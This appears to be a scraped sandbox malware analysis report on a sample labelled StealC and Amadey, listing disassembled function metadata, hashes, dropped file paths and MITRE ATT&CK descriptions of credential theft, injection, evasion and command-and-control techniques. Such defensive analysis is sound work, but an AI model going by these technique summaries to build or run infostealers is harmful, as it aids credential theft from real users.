Instruction Fuzzy Hash: F4E086F1A10D455B9F08D97FAC0956A71C88B553AC7044A35E823C6FC8FAB4E550815F

Function 6C663850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C6DF860), ref: 6C66385C
ReleaseSRWLockExclusive.KERNEL32(6C6DF860,?), ref: 6C663871

Strings

,ml, xrefs: 6C66387A

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,ml
API String ID: 17069307-2011709430
Opcode ID: 0d0956604974530897a4ba8b7727f651a48ce739f5daf58c3049dd481df3611d
Instruction ID: 00fa472585672111d06e3571410fb36d97cae3e71abd384864b2b2c2593cfef1
Opcode Fuzzy Hash: 0d0956604974530897a4ba8b7727f651a48ce739f5daf58c3049dd481df3611d
Instruction Fuzzy Hash: 4EE0DF31A55A1897C7119F9794415CA7BB8EF4779070A8019F40A17E00C730F1808ACF

Function 6C66BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C66BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C66BEF5

Strings

cryptbase.dll, xrefs: 6C66BEF0

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction ID: 44563a522ee1324380eaf9a3347d73bdea828b5c897ecfb4e6088c6321dae0f1
Opcode Fuzzy Hash: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction Fuzzy Hash: F7D0A731184209E6C7006B528C05B2937749782795F10C020F30544C52C7B0B413DF4D

Function 6C6AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB628

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C6AB127,?,?,?,?,?,?,?,?), ref: 6C6AB74D

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction ID: 085effcad87eddf0045659a872f45dad84b52f8dd6c581acd935d8d6010fba1a
Opcode Fuzzy Hash: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction Fuzzy Hash: 2251D071A0121A8FDB14CF98C98076EB7B1FF85308F55852DC85AAB710D771EC06CBA9

Function 6C6ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C69FF2A), ref: 6C6ADFFD

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C69FF2A), ref: 6C6AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C69FF2A), ref: 6C6AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C69FF2A), ref: 6C6AE0FE

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: cabe91f4908b1c6f856e5c9787874f3b5c8f45639306af4e38530e3ed047097a
Instruction ID: e21ff0582001f1c578717a04a0280a70c0edc5aa316f26e7165c00677b0be3f0
Opcode Fuzzy Hash: cabe91f4908b1c6f856e5c9787874f3b5c8f45639306af4e38530e3ed047097a
Instruction Fuzzy Hash: 9441C1B16042168FEB14CFA9C89075A73B2AF46308F14493DD516DB740E732ED26CBAA

Function 6C6A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C6A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C6A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A6F5C

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction ID: 0bc45efbc56a15fb90265375e450124e3aef0bdf4470a3bdb9cd26a8f81ef013
Opcode Fuzzy Hash: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction Fuzzy Hash: 7C31F871A1060A8FDB04CF6CC980AAA73FAFB95304F50413DD41AC7651EF31E95AC794

Function 6C6BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C660A4D), ref: 6C6BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C660A4D), ref: 6C6BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C660A4D), ref: 6C6BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C660A4D), ref: 6C6BB67F

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction ID: 8faa6fbec7cdb6eb0e23bb9a89ffa2cdca4c2045baff36eeb0e7f7c129bded36
Opcode Fuzzy Hash: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction Fuzzy Hash: 1C31D471A012168FDB10CF59C8C469ABBB5FFC5304F168669C846EB201EB31ED25CBA5

Function 6C68F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F668

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: fd0c959764e2c6f652b47417bb4cdd4b4b8c15a0ef4d9854fa31841a68e36b3a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 95316F71B00214AFC714CF1DDCC0A9B7BB5EB94354B148538FA4A8BB04D732E9448BAA

Function 6C6A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26C1
free.MOZGLUE(?), ref: 6C6A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26FF
free.MOZGLUE ref: 6C6A270D

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction ID: da9dc1a29145f47382f95be9498f80c97c9091a0ac98734626d699cba01f1fb2
Opcode Fuzzy Hash: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction Fuzzy Hash: EFF0F9B27012046BE7109E5AD8C4D4773A9EF4131CB100035EA1EC3B11E332FD1AC6AE

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFHDGDGI

C:\ProgramData\DHDHJJJECFIECBGDGCAAAEHIEG

C:\ProgramData\EGDBAFHJ

C:\ProgramData\FBFIDBFHDBGIDHJJEGHIIDAFID

C:\ProgramData\IJJJEBFHDBGIECBFCBKJ

C:\ProgramData\KJDGDGDHDGDBFIDHDBAF

C:\ProgramData\KKKJEBAAECBGDHIECAKJ

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre